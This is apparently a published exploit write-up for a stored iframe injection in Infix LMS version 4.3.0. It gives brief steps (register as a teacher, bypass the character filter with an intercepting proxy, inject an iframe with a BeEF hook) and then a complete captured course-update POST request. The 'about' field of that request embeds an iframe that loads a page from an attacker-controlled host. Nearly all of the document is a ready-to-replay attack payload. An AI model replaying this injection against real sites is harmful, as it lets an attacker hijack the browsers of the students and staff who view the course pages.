# Exploit Title: Infix LMS - Learning Management System IFRAME Injection
# Exploit Author: th3d1gger
# Vendor Homepage: https://codecanyon.net
# Software Link: https://codecanyon.net/item/infixlms-learning-management-system/30626608
# Version: 4.3.0
# Tested on Ubuntu 18.04
sign up as teacher
go course page and try to add course or edit
with bypass special char restrict on post request with burp or etc, inject iframe with beef hook or else on any note-editor field
--request--
POST /admin/course/updateCourse HTTP/1.1
Host: localhost
Content-Length: 3855
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="103", ".Not/A)Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydcMGShie2VwdqOn2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/admin/course/course-details/7?type=courseDetails
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: XSRF-TOKEN=eyJpdiI6IlhIUjU2U3FiTUMzQzZxT2E0OVVhZ1E9PSIsInZhbHVlIjoiRDBWUnFuakRhbTlHMStIb0xaRGp3YndQY3lla0RWcjZ2N3VyUUZMUzU1M004azBNNFk2QlBQNnJGSzRxWnh3bVppZ1hBcmRaOEV3TWd0L2V3R3FXcTZTQVpMQWxFSXQvOE00a3NZK0tjaDNqNzJ4ckdQc2psN2tMUzJaK3kzaDgiLCJtYWMiOiIxMjNjZTExZGE1MzUzNmQ0ZGMxMzk3Y2Y5NmEwMjZjNjdhZDEyNDU5ODYwYTVhZTZjM2UwN2VhNzZiMGY0OTI5IiwidGFnIjoiIn0%3D; infix_lms_session=eyJpdiI6Im1hSEwwZ3ZlbGJUVGpqTFJLSEdkOGc9PSIsInZhbHVlIjoiSUNJbDZMbmNLSWVlWm1OU3BqYVpYYTkzK3BVN0xxaG1qZnpCVis1TjAwd1FRV3RKUlRNbGdleUhaUWRpdXMwTmxtMFJjc3BTUTV2Ty9zLzkyTWZBckpRTUlsVEc1dmlVbzRwOHRhdW1nSWpNdkRnbmNUMGFqZFUyVml2UDBDclMiLCJtYWMiOiIzZjBmNjVlNDg0MjFmN2NiYjI3ZmIxNmM0YjlkMjE1MGZjZTVlN2Y5N2JmYTcwOWM1ZDA2ZmU4MzIzYzI2YTExIiwidGFnIjoiIn0%3D
Connection: close
------WebKitFormBoundarydcMGShie2VwdqOn2
Content-Disposition: form-data; name="_token"
0GtujIh7Yz86xnBbUyOboiarXjZ1msvhLnEv8Bft
------WebKitFormBoundarydcMGShie2VwdqOn2
Content-Disposition: form-data; name="type"
1
------WebKitFormBoundarydcMGShie2VwdqOn2
Content-Disposition: form-data; name="drip"
0
------WebKitFormBoundarydcMGShie2VwdqOn2
Content-Disposition: form-data; name="title"
Introduction to Programming and App Development
------WebKitFormBoundarydcMGShie2VwdqOn2
Content-Disposition: form-data; name="id"
7
------WebKitFormBoundarydcMGShie2VwdqOn2
Content-Disposition: form-data; name="requirements"
------WebKitFormBoundarydcMGShie2VwdqOn2
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundarydcMGShie2VwdqOn2
Content-Disposition: form-data; name="about"
<p><p><br></p><p><br></p><p><br></p></p><p><p><iframe src="http://192.168.1.18:3000/uploads/test.html"></p></p><div><br></div><p><br></p><p><br></p><p>Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text
ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book</p>
------WebKitFormBoundarydcMGShie2VwdqOn2
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundarydcMGShie2VwdqOn2
Content-Disposition: form-data; name="outcomes"
------WebKitFormBoundarydcMGShie2VwdqOn2
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundarydcMGShie2VwdqOn2
Content-Disposition: form-data; name="category"
4
------WebKitFormBoundarydcMGShie2VwdqOn2
Content-Disposition: form-data; name="sub_category"
7
------WebKitFormBoundarydcMGShie2VwdqOn2
Content-Disposition: form-data; name="mode_of_delivery"
1
------WebKitFormBoundarydcMGShie2VwdqOn2
Content-Disposition: form-data; name="quiz"
------WebKitFormBoundarydcMGShie2VwdqOn2
Content-Disposition: form-data; name="level"
2
------WebKitFormBoundarydcMGShie2VwdqOn2
Content-Disposition: form-data; name="language"
19
------WebKitFormBoundarydcMGShie2VwdqOn2
Content-Disposition: form-data; name="duration"
10
------WebKitFormBoundarydcMGShie2VwdqOn2
Content-Disposition: form-data; name="complete_order"
0
------WebKitFormBoundarydcMGShie2VwdqOn2
Content-Disposition: form-data; name="price"
20
------WebKitFormBoundarydcMGShie2VwdqOn2
Content-Disposition: form-data; name="is_discount"
1
------WebKitFormBoundarydcMGShie2VwdqOn2
Content-Disposition: form-data; name="discount_price"
10
------WebKitFormBoundarydcMGShie2VwdqOn2
Content-Disposition: form-data; name="host"
Youtube
------WebKitFormBoundarydcMGShie2VwdqOn2
Content-Disposition: form-data; name="trailer_link"
https://www.youtube.com/watch?v=mlqWUqVZrHA
------WebKitFormBoundarydcMGShie2VwdqOn2
Content-Disposition: form-data; name="vimeo"
------WebKitFormBoundarydcMGShie2VwdqOn2
Content-Disposition: form-data; name="vdocipher"
https://www.youtube.com/watch?v=mlqWUqVZrHA
------WebKitFormBoundarydcMGShie2VwdqOn2
Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundarydcMGShie2VwdqOn2
Content-Disposition: form-data; name="scope"
1
------WebKitFormBoundarydcMGShie2VwdqOn2
Content-Disposition: form-data; name="image"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundarydcMGShie2VwdqOn2
Content-Disposition: form-data; name="meta_keywords"
------WebKitFormBoundarydcMGShie2VwdqOn2
Content-Disposition: form-data; name="meta_description"
------WebKitFormBoundarydcMGShie2VwdqOn2--